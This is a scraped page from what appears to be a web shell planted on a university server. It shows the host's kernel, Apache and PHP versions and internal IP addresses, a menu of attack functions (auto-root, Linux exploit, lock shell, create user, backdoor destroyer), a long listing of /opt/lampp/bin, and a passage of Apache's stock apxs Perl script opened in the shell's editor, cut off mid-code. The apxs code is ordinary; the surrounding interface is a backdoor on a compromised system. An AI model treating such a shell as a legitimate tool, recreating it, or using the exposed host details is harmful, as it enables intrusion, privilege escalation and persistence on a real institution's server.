Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
ab
51.43
KB
-rwxr-xr-x
annotate
10.2
KB
-rwxr-xr-x
apachectl
3.33
KB
-rwxr-xr-x
apr-1-config
6.84
KB
-rwxr-xr-x
apreq2-config
5.96
KB
-rwxr-xr-x
apu-1-config
6.42
KB
-rwxr-xr-x
apxs
23.3
KB
-rwxr-xr-x
aria_chk
4.56
MB
-rwxr-xr-x
aria_dump_log
4.35
MB
-rwxr-xr-x
aria_ftdump
4.37
MB
-rwxr-xr-x
aria_pack
4.4
MB
-rwxr-xr-x
aria_read_log
4.51
MB
-rwxr-xr-x
autopoint
25.97
KB
-rwxr-xr-x
bdftogd
3.91
KB
-rwxr-xr-x
bison
288.55
KB
-rwxr-xr-x
bmp2tiff
14.32
KB
-rwxr-xr-x
bsqldb
26.76
KB
-rwxr-xr-x
bunzip2
85.55
KB
-rwxr-xr-x
bzcat
85.55
KB
-rwxr-xr-x
bzcmp
2.08
KB
-rwxr-xr-x
bzdiff
2.08
KB
-rwxr-xr-x
bzegrep
1.64
KB
-rwxr-xr-x
bzfgrep
1.64
KB
-rwxr-xr-x
bzgrep
1.64
KB
-rwxr-xr-x
bzip2
85.55
KB
-rwxr-xr-x
bzip2recover
14.23
KB
-rwxr-xr-x
bzless
1.23
KB
-rwxr-xr-x
bzmore
1.23
KB
-rwxr-xr-x
captoinfo
66.7
KB
-rwxr-xr-x
checkgid
6.13
KB
-rwxr-xr-x
cjpeg
30.29
KB
-rwxr-xr-x
clear
6.12
KB
-rwxr-xr-x
corelist
15.03
KB
-rwxr-xr-x
cpan
8.18
KB
-rwxr-xr-x
crc32
715
B
-r-xr-xr-x
c_rehash
6.57
KB
-rwxr-xr-x
curl
174.83
KB
-rwxr-xr-x
curl-config
5.48
KB
-rwxr-xr-x
cwebp
50.9
KB
-rwxr-xr-x
datacopy
22.45
KB
-rwxr-xr-x
dbilogstrip
1.44
KB
-r-xr-xr-x
dbiprof
6.17
KB
-r-xr-xr-x
dbiproxy
5.37
KB
-r-xr-xr-x
dbl2png
14.3
KB
-rwxr-xr-x
dbmmanage
8.72
KB
-rwxr-xr-x
defncopy
18.76
KB
-rwxr-xr-x
derb
23.09
KB
-rwxr-xr-x
djpeg
26.27
KB
-rwxr-xr-x
dwebp
30.49
KB
-rwxr-xr-x
enc2xs
40.79
KB
-rwxr-xr-x
encguess
3.02
KB
-rwxr-xr-x
envsubst
34.55
KB
-rwxr-xr-x
envvars
1.03
KB
-rw-r--r--
envvars-std
1.03
KB
-rw-r--r--
fax2ps
18.52
KB
-rwxr-xr-x
fax2tiff
14.66
KB
-rwxr-xr-x
fcgistarter
10.27
KB
-rwxr-xr-x
fisql
26.91
KB
-rwxr-xr-x
fix_rights
956
B
-rwxr-xr-x
flex
353.36
KB
-rwxr-xr-x
flex++
353.36
KB
-rwxr-xr-x
freebcp
18.59
KB
-rwxr-xr-x
freetype-config
3.75
KB
-rwxr-xr-x
ftpasswd
33.94
KB
-rwxr-xr-x
ftpcount
15.67
KB
-rwxr-xr-x
ftpdctl
82.73
KB
-rwxr-xr-x
ftpmail
13.69
KB
-rwxr-xr-x
ftpquota
32.21
KB
-rwxr-xr-x
ftptop
23.52
KB
-rwxr-xr-x
ftpwho
47.84
KB
-rwxr-xr-x
gd2copypal
10.15
KB
-rwxr-xr-x
gd2togif
10.14
KB
-rwxr-xr-x
gd2topng
10.16
KB
-rwxr-xr-x
gdcmpgif
10.15
KB
-rwxr-xr-x
gdparttopng
10.16
KB
-rwxr-xr-x
gdtopng
10.14
KB
-rwxr-xr-x
genbrk
14.84
KB
-rwxr-xr-x
gencfu
10.74
KB
-rwxr-xr-x
gencnval
22.73
KB
-rwxr-xr-x
gendict
22.91
KB
-rwxr-xr-x
gen_php_doc.sh
240
B
-rwxr-xr-x
genrb
161.05
KB
-rwxr-xr-x
GET
14.34
KB
-r-xr-xr-x
gettext
34.53
KB
-rwxr-xr-x
gettextize
42.73
KB
-rwxr-xr-x
gettext.sh
4.52
KB
-rwxr-xr-x
gif2tiff
14.48
KB
-rwxr-xr-x
giftogd2
10.15
KB
-rwxr-xr-x
h2ph
28.55
KB
-rwxr-xr-x
h2xs
59.52
KB
-rwxr-xr-x
HEAD
14.34
KB
-r-xr-xr-x
htcacheclean
30.53
KB
-rwxr-xr-x
htdbm
18.47
KB
-rwxr-xr-x
htdigest
10.27
KB
-rwxr-xr-x
html_template_phplibtool
107
B
-rwxr-xr-x
htpasswd
18.41
KB
-rwxr-xr-x
httpd
696.97
KB
-rwxr-xr-x
httxt2dbm
10.23
KB
-rwxr-xr-x
iconv
26.38
KB
-rwxr-xr-x
icu-config
21.58
KB
-rwxr-xr-x
icuinfo
10.54
KB
-rwxr-xr-x
infocmp
58.65
KB
-rwxr-xr-x
infotocap
66.7
KB
-rwxr-xr-x
innochecksum
3.62
MB
-rwxr-xr-x
instmodsh
4.16
KB
-r-xr-xr-x
jpegtran
42.36
KB
-rwxr-xr-x
json_pp
4.89
KB
-rwxr-xr-x
ldapadd
67.11
KB
-rwxr-xr-x
ldapcompare
55
KB
-rwxr-xr-x
ldapdelete
59.09
KB
-rwxr-xr-x
ldapexop
55.06
KB
-rwxr-xr-x
ldapmodify
67.11
KB
-rwxr-xr-x
ldapmodrdn
55
KB
-rwxr-xr-x
ldappasswd
55.03
KB
-rwxr-xr-x
ldapsearch
79.36
KB
-rwxr-xr-x
ldapurl
18.34
KB
-rwxr-xr-x
ldapwhoami
55.02
KB
-rwxr-xr-x
libmcrypt-config
1.43
KB
-rwxr-xr-x
libnetcfg
15.42
KB
-rwxr-xr-x
libpng16-config
2.27
KB
-rwxr-xr-x
libpng-config
2.27
KB
-rwxr-xr-x
listaction
170.55
KB
-rwxr-xr-x
listaction_d
170.54
KB
-rwxr-xr-x
listfdb
14.17
KB
-rwxr-xr-x
listjpeg
6.13
KB
-rwxr-xr-x
listmp3
10.54
KB
-rwxr-xr-x
listswf
174.55
KB
-rwxr-xr-x
listswf_d
174.54
KB
-rwxr-xr-x
logresolve
10.34
KB
-rwxr-xr-x
lwp-download
8.34
KB
-r-xr-xr-x
lwp-mirror
2.45
KB
-r-xr-xr-x
lwp-request
14.34
KB
-r-xr-xr-x
lwp-rget
14.78
KB
-r-xr-xr-x
makeconv
55.35
KB
-rwxr-xr-x
makefdb
70.41
KB
-rwxr-xr-x
makeswf
23.2
KB
-rwxr-xr-x
mariabackup
22.87
MB
-rwxr-xr-x
mariadb
4.28
MB
-rwxr-xr-x
mariadb-access
109.37
KB
-rwxr-xr-x
mariadb-admin
3.83
MB
-rwxr-xr-x
mariadb-backup
22.87
MB
-rwxr-xr-x
mariadb-binlog
4.05
MB
-rwxr-xr-x
mariadb-check
3.83
MB
-rwxr-xr-x
mariadb-client-test
4.38
MB
-rwxr-xr-x
mariadb_config
10.52
KB
-rwxr-xr-x
mariadb-convert-table-format
4.12
KB
-rwxr-xr-x
mariadbd-multi
26.76
KB
-rwxr-xr-x
mariadbd-safe
30.43
KB
-rwxr-xr-x
mariadbd-safe-helper
3.49
MB
-rwxr-xr-x
mariadb-dump
3.92
MB
-rwxr-xr-x
mariadb-dumpslow
8.05
KB
-rwxr-xr-x
mariadb-find-rows
3.21
KB
-rwxr-xr-x
mariadb-fix-extensions
1.22
KB
-rwxr-xr-x
mariadb-hotcopy
34.14
KB
-rwxr-xr-x
mariadb-import
3.82
MB
-rwxr-xr-x
mariadb-install-db
21.48
KB
-rwxr-xr-x
mariadb-ldb
4.05
MB
-rwxr-xr-x
mariadb-plugin
3.53
MB
-rwxr-xr-x
mariadb-secure-installation
13.38
KB
-rwxr-xr-x
mariadb-setpermission
17.13
KB
-rwxr-xr-x
mariadb-show
3.82
MB
-rwxr-xr-x
mariadb-slap
3.84
MB
-rwxr-xr-x
mariadb-test
4.21
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
3.53
MB
-rwxr-xr-x
mariadb-upgrade
3.62
MB
-rwxr-xr-x
mariadb-waitpid
3.52
MB
-rwxr-xr-x
mbstream
3.55
MB
-rwxr-xr-x
ming-config
561
B
-rwxr-xr-x
mp2bug
1.16
KB
-r-xr-xr-x
msgattrib
22.39
KB
-rwxr-xr-x
msgcat
18.38
KB
-rwxr-xr-x
msgcmp
22.49
KB
-rwxr-xr-x
msgcomm
18.37
KB
-rwxr-xr-x
msgconv
18.35
KB
-rwxr-xr-x
msgen
18.35
KB
-rwxr-xr-x
msgexec
14.38
KB
-rwxr-xr-x
msgfilter
26.45
KB
-rwxr-xr-x
msgfmt
79.41
KB
-rwxr-xr-x
msggrep
46.73
KB
-rwxr-xr-x
msginit
43.15
KB
-rwxr-xr-x
msgmerge
51.37
KB
-rwxr-xr-x
msgunfmt
30.57
KB
-rwxr-xr-x
msguniq
18.36
KB
-rwxr-xr-x
msql2mysql
1.42
KB
-rwxr-xr-x
myisamchk
4
MB
-rwxr-xr-x
myisam_ftdump
3.88
MB
-rwxr-xr-x
myisamlog
3.86
MB
-rwxr-xr-x
myisampack
3.91
MB
-rwxr-xr-x
my_print_defaults
3.53
MB
-rwxr-xr-x
myrocks_hotbackup
24.46
KB
-rwxr-xr-x
mysql
4.28
MB
-rwxr-xr-x
mysqlaccess
109.37
KB
-rwxr-xr-x
mysqladmin
3.83
MB
-rwxr-xr-x
mysqlbinlog
4.05
MB
-rwxr-xr-x
mysqlcheck
3.83
MB
-rwxr-xr-x
mysql_client_test
4.38
MB
-rwxr-xr-x
mysql_config
4.54
KB
-rwxr-xr-x
mysql_convert_table_format
4.12
KB
-rwxr-xr-x
mysqld_multi
26.76
KB
-rwxr-xr-x
mysqld_safe
30.43
KB
-rwxr-xr-x
mysqld_safe_helper
3.49
MB
-rwxr-xr-x
mysqldump
3.92
MB
-rwxr-xr-x
mysqldumpslow
8.05
KB
-rwxr-xr-x
mysql_find_rows
3.21
KB
-rwxr-xr-x
mysql_fix_extensions
1.22
KB
-rwxr-xr-x
mysqlhotcopy
34.14
KB
-rwxr-xr-x
mysqlimport
3.82
MB
-rwxr-xr-x
mysql_install_db
21.48
KB
-rwxr-xr-x
mysql_ldb
4.05
MB
-rwxr-xr-x
mysql_plugin
3.53
MB
-rwxr-xr-x
mysql_secure_installation
13.38
KB
-rwxr-xr-x
mysql.server
11.93
KB
-rwxr-xr-x
mysql_setpermission
17.13
KB
-rwxr-xr-x
mysqlshow
3.82
MB
-rwxr-xr-x
mysqlslap
3.84
MB
-rwxr-xr-x
mysqltest
4.21
MB
-rwxr-xr-x
mysql_tzinfo_to_sql
3.53
MB
-rwxr-xr-x
mysql_upgrade
3.62
MB
-rwxr-xr-x
mysql_waitpid
3.52
MB
-rwxr-xr-x
mytop
61.06
KB
-rwxr-xr-x
ncurses5-config
5.17
KB
-rwxr-xr-x
ngettext
34.55
KB
-rwxr-xr-x
onig-config
1.35
KB
-rwxr-xr-x
openssl
642.05
KB
-rwxr-xr-x
osql
8.84
KB
-rwxr-xr-x
pal2rgb
14.82
KB
-rwxr-xr-x
pcre-config
2.31
KB
-rwxr-xr-x
pcregrep
36.34
KB
-rwxr-xr-x
pcretest
66.56
KB
-rwxr-xr-x
pear
817
B
-rwxr-xr-x
peardev
838
B
-rwxr-xr-x
pearinfo
538
B
-rwxr-xr-x
pecl
751
B
-rwxr-xr-x
perl
3.3
MB
-rwxr-xr-x
perl5.34.1
3.3
MB
-rwxr-xr-x
perlbug
44.13
KB
-rwxr-xr-x
perldoc
274
B
-rwxr-xr-x
perlivp
10.58
KB
-rwxr-xr-x
perlthanks
44.13
KB
-rwxr-xr-x
perror
3.71
MB
-rwxr-xr-x
phar
14.89
KB
-rwxr-xr-x
phar.phar
14.89
KB
-rwxr-xr-x
php
18.06
MB
-rwxr-xr-x
php-8.2.12
18.06
MB
-rwxr-xr-x
php-cgi
18.06
MB
-rwxr-xr-x
php-cgi-8.2.12
18.06
MB
-rwxr-xr-x
php-config
4.39
KB
-rwxr-xr-x
php-config-8.2.12
4.39
KB
-rwxr-xr-x
phpdbg
18.06
MB
-rwxr-xr-x
phpize
4.43
KB
-rwxr-xr-x
phpize-8.2.12
4.43
KB
-rwxr-xr-x
phpunit
1.9
KB
-rwxr-xr-x
piconv
8.18
KB
-rwxr-xr-x
pkgdata
43.7
KB
-rwxr-xr-x
pl2pm
4.44
KB
-rwxr-xr-x
png2dbl
14.38
KB
-rwxr-xr-x
pngfix
46.48
KB
-rwxr-xr-x
png-fix-itxt
6.11
KB
-rwxr-xr-x
pngtogd
10.14
KB
-rwxr-xr-x
pngtogd2
10.15
KB
-rwxr-xr-x
pod2html
4.05
KB
-rwxr-xr-x
pod2man
14.69
KB
-rwxr-xr-x
pod2text
10.56
KB
-rwxr-xr-x
pod2usage
4.02
KB
-rwxr-xr-x
podchecker
3.58
KB
-rwxr-xr-x
POST
14.34
KB
-r-xr-xr-x
ppm2tiff
14.51
KB
-rwxr-xr-x
prove
13.35
KB
-rwxr-xr-x
prxs
8.96
KB
-rwxr-xr-x
ptar
3.49
KB
-rwxr-xr-x
ptardiff
2.59
KB
-rwxr-xr-x
ptargrep
4.3
KB
-rwxr-xr-x
ras2tiff
10.48
KB
-rwxr-xr-x
raw2adpcm
10.21
KB
-rwxr-xr-x
raw2tiff
18.35
KB
-rwxr-xr-x
rdjpgcom
10.18
KB
-rwxr-xr-x
recode-sr-latin
14.33
KB
-rwxr-xr-x
replace
3.5
MB
-rwxr-xr-x
reset
18.59
KB
-rwxr-xr-x
resolveip
3.52
MB
-rwxr-xr-x
resolve_stack_dump
3.53
MB
-rwxr-xr-x
rgb2ycbcr
14.46
KB
-rwxr-xr-x
rotatelogs
18.41
KB
-rwxr-xr-x
sabcmd
21.13
KB
-rwxr-xr-x
sablot-config
1.11
KB
-rwxr-xr-x
shasum
9.76
KB
-rwxr-xr-x
splain
18.97
KB
-rwxr-xr-x
sqlite
27.8
KB
-rwxr-xr-x
sqlite3
1.74
MB
-rwxr-xr-x
sst_dump
4.04
MB
-rwxr-xr-x
streamzip
5.31
KB
-r-xr-xr-x
suexec
14.36
KB
-rwsr-xr-x
swftocxx
154.57
KB
-rwxr-xr-x
swftoperl
154.57
KB
-rwxr-xr-x
swftophp
154.57
KB
-rwxr-xr-x
swftopython
154.57
KB
-rwxr-xr-x
swftotcl
154.57
KB
-rwxr-xr-x
tabs
14.31
KB
-rwxr-xr-x
tdspool
286.9
KB
-rwxr-xr-x
thumbnail
14.92
KB
-rwxr-xr-x
tic
66.7
KB
-rwxr-xr-x
tiff2bw
14.8
KB
-rwxr-xr-x
tiff2pdf
66.52
KB
-rwxr-xr-x
tiff2ps
55.95
KB
-rwxr-xr-x
tiff2rgba
14.32
KB
-rwxr-xr-x
tiffcmp
18.41
KB
-rwxr-xr-x
tiffcp
43.31
KB
-rwxr-xr-x
tiffcrop
112.88
KB
-rwxr-xr-x
tiffdither
14.48
KB
-rwxr-xr-x
tiffdump
18.52
KB
-rwxr-xr-x
tiffinfo
18.55
KB
-rwxr-xr-x
tiffmedian
22.44
KB
-rwxr-xr-x
tiffset
10.23
KB
-rwxr-xr-x
tiffsplit
14.3
KB
-rwxr-xr-x
toe
14.38
KB
-rwxr-xr-x
tput
14.41
KB
-rwxr-xr-x
tset
18.59
KB
-rwxr-xr-x
tsql
282.99
KB
-rwxr-xr-x
uconv
47.36
KB
-rwxr-xr-x
unzip-mem
14.21
KB
-rwxr-xr-x
unzzip
10.21
KB
-rwxr-xr-x
unzzipcat
10.2
KB
-rwxr-xr-x
unzzipcat-mem
10.17
KB
-rwxr-xr-x
unzzipcat-seeko
10.2
KB
-rwxr-xr-x
unzzipdir
6.16
KB
-rwxr-xr-x
unzzipdir-mem
6.13
KB
-rwxr-xr-x
use-devel-checklib
2.81
KB
-r-xr-xr-x
wcmgr
6.1
KB
-rwxr-xr-x
webalizer
157.1
KB
-rwxr-xr-x
webazolver
157.1
KB
-rwxr-xr-x
webpng
14.28
KB
-rwxr-xr-x
wrjpgcom
10.19
KB
-rwxr-xr-x
wsrep_sst_backup
2.95
KB
-rwxr-xr-x
wsrep_sst_common
54.05
KB
-rw-r--r--
wsrep_sst_mariabackup
51.01
KB
-rwxr-xr-x
wsrep_sst_mysqldump
7.7
KB
-rwxr-xr-x
wsrep_sst_rsync
32.31
KB
-rwxr-xr-x
wsrep_sst_rsync_wan
32.31
KB
-rwxr-xr-x
xgettext
330.1
KB
-rwxr-xr-x
xml2-config
1.69
KB
-rwxr-xr-x
xmlcatalog
14.35
KB
-rwxr-xr-x
xmllint
64.38
KB
-rwxr-xr-x
xmlwf
26.57
KB
-rwxr-xr-x
xslt-config
2.36
KB
-rwxr-xr-x
xsltproc
22.52
KB
-rwxr-xr-x
xsubpp
5.06
KB
-rwxr-xr-x
yacc
45
B
-rwxr-xr-x
zipcmp
19
KB
-rwxr-xr-x
zipdetails
49.95
KB
-r-xr-xr-x
zipmerge
14.88
KB
-rwxr-xr-x
ziptool
27.7
KB
-rwxr-xr-x
zzcat
6.13
KB
-rwxr-xr-x
zzdir
10.16
KB
-rwxr-xr-x
zzxorcat
10.16
KB
-rwxr-xr-x
zzxorcopy
10.17
KB
-rwxr-xr-x
zzxordir
10.19
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apxs
#!/usr/bin/perl -w # # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. require 5.004; use strict; package apxs; ## ## Configuration ## # are we building in a cross compile environment? If so, destdir contains # the base directory of the cross compiled environment, otherwise destdir # is the empty string. my $destdir = ""; my $ddi = rindex($0, "/opt/lampp/bin"); if ($ddi >= 0) { $destdir = substr($0, 0, $ddi); } my %config_vars = (); my $installbuilddir = "/opt/lampp/build"; get_config_vars($destdir . "$installbuilddir/config_vars.mk",\%config_vars); # read the configuration variables once my $prefix = get_vars("prefix"); my $CFG_PREFIX = $prefix; my $exec_prefix = get_vars("exec_prefix"); my $datadir = get_vars("datadir"); my $localstatedir = get_vars("localstatedir"); my $CFG_TARGET = get_vars("progname"); my $CFG_SYSCONFDIR = get_vars("sysconfdir"); my $CFG_CFLAGS = join ' ', map { get_vars($_) } qw(SHLTCFLAGS CFLAGS NOTEST_CPPFLAGS EXTRA_CPPFLAGS EXTRA_CFLAGS); my $CFG_LDFLAGS = join ' ', map { get_vars($_) } qw(LDFLAGS NOTEST_LDFLAGS SH_LDFLAGS); my $includedir = $destdir . get_vars("includedir"); my $CFG_INCLUDEDIR = eval qq("$includedir"); my $CFG_CC = get_vars("CC"); my $libexecdir = $destdir . get_vars("libexecdir"); my $CFG_LIBEXECDIR = eval qq("$libexecdir"); my $sbindir = get_vars("sbindir"); my $CFG_SBINDIR = eval qq("$sbindir"); my $ltflags = $ENV{'LTFLAGS'}; $ltflags or $ltflags = "--silent"; my %internal_vars = map {$_ => 1} qw(TARGET CC CFLAGS CFLAGS_SHLIB LD_SHLIB LDFLAGS_SHLIB LIBS_SHLIB PREFIX SBINDIR INCLUDEDIR LIBEXECDIR SYSCONFDIR); ## ## parse argument line ## # defaults for parameters my $opt_n = ''; my $opt_g = ''; my $opt_c = 0; my $opt_o = ''; my @opt_D = (); my @opt_I = (); my @opt_L = (); my @opt_l = (); my @opt_W = (); my @opt_S = (); my $opt_e = 0; my $opt_i = 0; my $opt_a = 0; my $opt_A = 0; my $opt_q = 0; my $opt_h = 0; my $opt_p = 0; my $opt_v = 0; # this subroutine is derived from Perl's getopts.pl with the enhancement of # the "+" metacharacter at the format string to allow a list to be built by # subsequent occurrences of the same option. sub Getopts { my ($argumentative, @ARGV) = @_; my $errs = 0; local $_; my @args = split / */, $argumentative; while (@ARGV && ($_ = $ARGV[0]) =~ /^-(.)(.*)/) { my ($first, $rest) = ($1,$2); if ($_ =~ m|^--$|) { shift @ARGV; last; } my $pos = index($argumentative,$first); if ($pos >= 0) { if ($pos < $#args && $args[$pos+1] eq ':') { shift @ARGV; if ($rest eq '') { unless (@ARGV) { error("Incomplete option: $first (needs an argument)"); $errs++; } $rest = shift(@ARGV); } eval "\$opt_$first = \$rest;"; } elsif ($pos < $#args && $args[$pos+1] eq '+') { shift @ARGV; if ($rest eq '') { unless (@ARGV) { error("Incomplete option: $first (needs an argument)"); $errs++; } $rest = shift(@ARGV); } eval "push(\@opt_$first, \$rest);"; } else { eval "\$opt_$first = 1"; if ($rest eq '') { shift(@ARGV); } else { $ARGV[0] = "-$rest"; } } } else { error("Unknown option: $first"); $errs++; if ($rest ne '') { $ARGV[0] = "-$rest"; } else { shift(@ARGV); } } } return ($errs == 0, @ARGV); } sub usage { print STDERR "Usage: apxs -g [-S <var>=<val>] -n <modname>\n"; print STDERR " apxs -q [-v] [-S <var>=<val>] [<query> ...]\n"; print STDERR " apxs -c [-S <var>=<val>] [-o <dsofile>] [-D <name>[=<value>]]\n"; print STDERR " [-I <incdir>] [-L <libdir>] [-l <libname>] [-Wc,<flags>]\n"; print STDERR " [-Wl,<flags>] [-p] <files> ...\n"; print STDERR " apxs -i [-S <var>=<val>] [-a] [-A] [-n <modname>] <dsofile> ...\n"; print STDERR " apxs -e [-S <var>=<val>] [-a] [-A] [-n <modname>] <dsofile> ...\n"; exit(1); } # option handling my $rc; ($rc, @ARGV) = &Getopts("qn:gco:I+D+L+l+W+S+eiaApv", @ARGV); &usage if ($rc == 0); &usage if ($#ARGV == -1 and not $opt_g and not $opt_q); &usage if (not $opt_q and not ($opt_g and $opt_n) and not $opt_i and not $opt_c and not $opt_e); # argument handling my @args = @ARGV; my $name = 'unknown'; $name = $opt_n if ($opt_n ne ''); if (@opt_S) { my ($opt_S); foreach $opt_S (@opt_S) { if ($opt_S =~ m/^([^=]+)=(.*)$/) { my ($var) = $1; my ($val) = $2; my $oldval = eval "\$CFG_$var"; unless ($var and $oldval) { print STDERR "apxs:Error: no config variable $var\n"; &usage; } eval "\$CFG_${var}=\"${val}\""; } else { print STDERR "apxs:Error: malformatted -S option\n"; &usage; } } } ## ## Initial shared object support check ## unless ("yes" eq "yes") { error("Sorry, no shared object support for Apache"); error("available under your platform. Make sure"); error("the Apache module mod_so is compiled into"); error("the server binary."); exit 1; } sub get_config_vars{ my ($file, $rh_config) = @_; open IN, $file or die "cannot open $file: $!"; while (<IN>){ if (/^\s*(.*?)\s*=\s*(.*)$/){ $rh_config->{$1} = $2; } } close IN; } sub get_vars { my $result = ''; my $ok = 0; my $arg; foreach $arg (@_) { if (exists $config_vars{$arg} or exists $config_vars{lc $arg}) { my $val = exists $config_vars{$arg} ? $config_vars{$arg} : $config_vars{lc $arg}; $val =~ s/[()]//g; $result .= eval "qq($val)" if defined $val; $result .= ";;"; $ok = 1; } if (not $ok) { if (exists $internal_vars{$arg} or exists $internal_vars{lc $arg}) { my $val = exists $internal_vars{$arg} ? $arg : lc $arg; $val = eval "\$CFG_$val"; $result .= eval "qq($val)" if defined $val; $result .= ";;"; $ok = 1; } if (not $ok) { error("Invalid query string `$arg'"); exit(1); } } } $result =~ s|;;$||; return $result; } ## ## Operation ## # helper function for executing a list of # system command with return code checks sub execute_cmds { my (@cmds) = @_; my ($cmd, $rc); foreach $cmd (@cmds) { notice($cmd); $rc = system $cmd; if ($rc) { error(sprintf "Command failed with rc=%d\n", $rc << 8); exit 1 ; } } } if ($opt_g) { ## ## SAMPLE MODULE SOURCE GENERATION ## if (-d $name) { error("Directory `$name' already exists. Remove first"); exit(1); } my $data = join('', <DATA>); $data =~ s|%NAME%|$name|sg; $data =~ s|%TARGET%|$CFG_TARGET|sg; $data =~ s|%PREFIX%|$prefix|sg; $data =~ s|%INSTALLBUILDDIR%|$installbuilddir|sg; my ($mkf, $mods, $src) = ($data =~ m|^(.+)-=#=-\n(.+)-=#=-\n(.+)|s); notice("Creating [DIR] $name"); system("mkdir $name"); notice("Creating [FILE] $name/Makefile"); open(FP, ">${name}/Makefile") || die; print FP $mkf; close(FP); notice("Creating [FILE] $name/modules.mk"); open(FP, ">${name}/modules.mk") || die; print FP $mods; close(FP); notice("Creating [FILE] $name/mod_$name.c"); open(FP, ">${name}/mod_${name}.c") || die; print FP $src; close(FP); notice("Creating [FILE] $name/.deps"); system("touch ${name}/.deps"); exit(0); } if ($opt_q) { ## ## QUERY INFORMATION ## my $result; if ($#args >= 0) { $result = get_vars(@args); print "$result\n"; } else { # -q without var name prints all variables and their values # Additional -v pretty-prints output if ($opt_v) { # Variable names in alphabetic order my @vars = sort {uc($a) cmp uc($b)} keys %config_vars; # Make the left column as wide as the longest variable name my $width = 0; foreach (@vars) { my $l = length $_; $width = $l unless ($l <= $width); } foreach (@vars) { printf "%-${width}s = %s\n", $_, $config_vars{$_}; } } else { # Unprettified name=value list foreach (keys %config_vars) { print "$_=$config_vars{$_}\n"; } } } } my $apr_config = $destdir . get_vars("APR_CONFIG"); if (! -x "$apr_config") { error("$apr_config not found!"); exit(1); } my $apr_major_version = (split /\./, `$apr_config --version`)[0]; my $apu_config = ""; if ($apr_major_version < 2) { $apu_config = $destdir . get_vars("APU_CONFIG"); if (! -x "$apu_config") { error("$apu_config not found!"); exit(1); } } my $libtool = `$apr_config --apr-libtool`; chomp($libtool); my $apr_includedir = `$apr_config --includes`; chomp($apr_includedir); my $apu_includedir = ""; if ($apr_major_version < 2) { $apu_includedir = `$apu_config --includes`; chomp($apu_includedir); } if ($opt_c) { ## ## SHARED OBJECT COMPILATION ## # split files into sources and objects my @srcs = (); my @objs = (); my $f; foreach $f (@args) { if ($f =~ m|\.c$|) { push(@srcs, $f); } else { push(@objs, $f); } } # determine output file my $dso_file; if ($opt_o eq '') { if ($#srcs > -1) { $dso_file = $srcs[0]; $dso_file =~ s|\.[^.]+$|.la|; } elsif ($#objs > -1) { $dso_file = $objs[0]; $dso_file =~ s|\.[^.]+$|.la|; } else { $dso_file = "mod_unknown.la"; } } else { $dso_file = $opt_o; $dso_file =~ s|\.[^.]+$|.la|; } # create compilation commands my @cmds = (); my $opt = ''; my ($opt_Wc, $opt_I, $opt_D); foreach $opt_Wc (@opt_W) { $opt .= "$1 " if ($opt_Wc =~ m|^\s*c,(.*)$|); } foreach $opt_I (@opt_I) { $opt .= "-I$opt_I "; } foreach $opt_D (@opt_D) { $opt .= "-D$opt_D "; } my $cflags = "$CFG_CFLAGS"; my $s; my $mod; foreach $s (@srcs) { my $slo = $s; $slo =~ s|\.c$|.slo|; my $lo = $s; $lo =~ s|\.c$|.lo|; my $la = $s; $la =~ s|\.c$|.la|; my $o = $s; $o =~ s|\.c$|.o|; push(@cmds, "$libtool $ltflags --mode=compile $CFG_CC $cflags -I$CFG_INCLUDEDIR $apr_includedir $apu_includedir $opt -c -o $lo $s && touch $slo"); unshift(@objs, $lo); } # create link command my $o; my $lo; foreach $o (@objs) { $lo .= " $o"; } my ($opt_Wl, $opt_L, $opt_l); $opt = ''; foreach $opt_Wl (@opt_W) { $opt .= "$1 " if ($opt_Wl =~ m|^\s*l,(.*)$|); } foreach $opt_L (@opt_L) { $opt .= " -L$opt_L"; } foreach $opt_l (@opt_l) { $opt .= " -l$opt_l"; } my $ldflags = "$CFG_LDFLAGS"; if ($opt_p == 1) { my $apr_libs=`$apr_config --cflags --ldflags --link-libtool --libs`; chomp($apr_libs); my $apu_libs=""; if ($apr_major_version < 2) { $apu_libs=`$apu_config --ldflags --link-libtool --libs`; chomp($apu_libs); } $opt .= " ".$apu_libs." ".$apr_libs; } else { my $apr_ldflags=`$apr_config --ldflags`; chomp($apr_ldflags); $opt .= " -rpath $CFG_LIBEXECDIR -module -avoid-version $apr_ldflags"; } push(@cmds, "$libtool $ltflags --mode=link $CFG_CC $ldflags -o $dso_file $opt $lo"); # execute the commands &execute_cmds(@cmds); # allow one-step compilation and installation if ($opt_i or $opt_e) { @args = ( $dso_file ); } } if ($opt_i or $opt_e) { ## ## SHARED OBJECT INSTALLATION ## # determine installation commands # and corresponding LoadModule directive my @lmd = (); my @cmds = (); my $f; foreach $f (@args) { # ack all potential gcc, hp/ux, win32+os2+aix and os/x extensions if ($f !~ m#(\.so$|\.la$|\.sl$|\.dll$|\.dylib$|)#) { error("file $f is not a shared object"); exit(1); } my $t = $f; $t =~ s|^.+/([^/]+)$|$1|; # use .so unambigiously for installed shared library modules $t =~ s|\.[^./\\]+$|\.so|; if ($opt_i) { push(@cmds, $destdir . "$installbuilddir/instdso.sh SH_LIBTOOL='" . "$libtool' $f $CFG_LIBEXECDIR"); push(@cmds, "chmod 755 $CFG_LIBEXECDIR/$t"); } # determine module symbolname and filename my $filename = ''; if ($name eq 'unknown') { $name = ''; my $base = $f; $base =~ s|\.[^.]+$||; if (-f "$base.c") { open(FP, "<$base.c"); my $content = join('', <FP>); close(FP); if ($content =~ m|.*AP_DECLARE_MODULE\s*\(\s*([a-zA-Z0-9_]+)\s*\)\s*=.*|s || $content =~ 